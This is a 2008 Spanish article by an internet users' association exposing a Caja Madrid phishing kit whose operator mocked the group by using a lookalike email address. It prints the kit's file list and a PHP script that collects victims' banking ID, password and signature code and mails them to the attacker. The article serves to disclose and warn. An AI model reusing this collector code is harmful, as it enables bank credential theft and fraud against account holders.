

El delincuente gracioso de phishing de Caja Madrid.























La lucha del fraude en la red no es fácil, diariamente hay cientos de intentos fraudulentos en la red, la Comisión de Seguridad de la Asociación de Internauta en su campaña anti-fraude lucha diariamente contra este tipo de robo de identidad, es más, es uno de los pocos grupos en España que denuncia estos intentos fraudulentos comunicando e informando a los usuarios y clientes de la banca online tanto de webs fraudulentas, estas denuncias ó destapan donde van los datos robados, descubrir los servidores trampa antes de un ataque es un tema que no le gusta a los ciber delincuentes y esto tiene sus consecuencias.

Estas consecuencias repercuten en forma de ataques contra nuestros servidores, nuestras IP, etc. el abanico del ciber-delincuente o las ciber-mafias es bastante extenso, no es la primera vez que el ciber crimen ataca o contraataca por verse afectado por nuestras investigaciones, denuncias de su correo electrónico, pero la imaginación del atacante llega algunas veces ser hasta graciosa.

Esto ocurre en unos de los últimos ataques detectados, donde el delincuente gracioso nos dedica un momento de su trabajo, en el estudio de uno de los ataques fraudulentos de los últimos días que afecta a Caja Madrid utiliza la siguiente cuenta de correo electrónico para recibir los datos obtenidos de forma fraudulenta:

internautas.org@live.com

Como se puede comprobar en las siguientes imágenes de la investigación, el delincuente gracioso se acuerda de nuestro trabajo diario, el código fuente del script usado en estos últimos ataques nos muestra el cariño que nos tiene;

 abrirCorrespondencia.js	4/28/2007 1:59 PM
 ayuda.js	4/28/2007 1:59 PM
 Barrett.js	4/28/2007 1:59 PM
 BigInt.js	4/28/2007 1:59 PM
 blac.php	9/25/2008 9:12 PM
 blank.htm	4/28/2007 1:59 PM
 cm_CajetinFirmas.js	4/28/2007 1:59 PM
 cm_loginE.js	4/28/2007 1:59 PM
 comportamientos.js	4/28/2007 1:59 PM
 dni_e.gif	4/28/2007 1:59 PM
 estilos_handheld_oiv1_1.css	4/28/2007 1:59 PM
 fin.html	3/13/2008 7:17 AM
 img_izq.jpg	4/28/2007 1:59 PM
 interr.gif	4/28/2007 1:59 PM
 login.htm	9/23/2007 3:54 PM
 loginE.js	4/28/2007 1:59 PM
 logo_oi_new.gif	4/28/2007 1:59 PM
 logocm.gif	4/28/2007 1:59 PM
 registrodeclases.js	4/28/2007 1:59 PM
 RSA.js	4/28/2007 1:59 PM
 sello_oi_mini.gif	4/28/2007 1:59 PM
 trimString.js	4/28/2007 1:59 PM

```
k?
$dat3=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$message .= "-----Caja Madrid Info-----\n";
$message .= "Documento : "._POST['Documento_s']."\n";
$message .= "Pass : "._POST['pass']."\n";
$message .= "Firma : "._POST['firma']."\n";
$message .= "IP: ".$ip."\n";
$message .= "Date: ".$dat3."\n";

$recipient = "internautas.org@live.com";
$subject = "Caja Madrid";
$headers = "From";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail("$cc", "Bank of America RESULT (Thief)", $message);
if (mail($recipient,$subject,$message,$headers))
{
    header("Location: fin.html");
}
?>
```

Después de esta pequeña demostración por parte del ciber-delincuente solo le podemos recordar que seguiremos realizando nuestra labor diariamente.

Nos preguntamos; **¿Quiénes son los responsables de informar a la comunidad internauta sobre estos peligros y denunciar ante la justicia este tipo de sitios web para su cierre inmediato?**

Comisión de Seguridad en la Red.

José María Luque Guerrero

<http://seguridad.internautas.org> - www.seguridadenlared.org - www.seguridadpymes.es

Asociación de Internautas. www.internautas.org

Fecha artículo: 2008-09-26 09:24:28 - url artículo: <http://www.internautas.org/html/4421.html>

Logos y marcas propiedad de sus respectivos autores.

Los comentarios son propiedad y responsabilidad de cada autor.

© 1998-2009 Asociación de Internautas - <http://www.internautas.org>

Inscrita en el Registro Nacional de Asociaciones con el número 164343 - e-mail: asociacion@internautas.org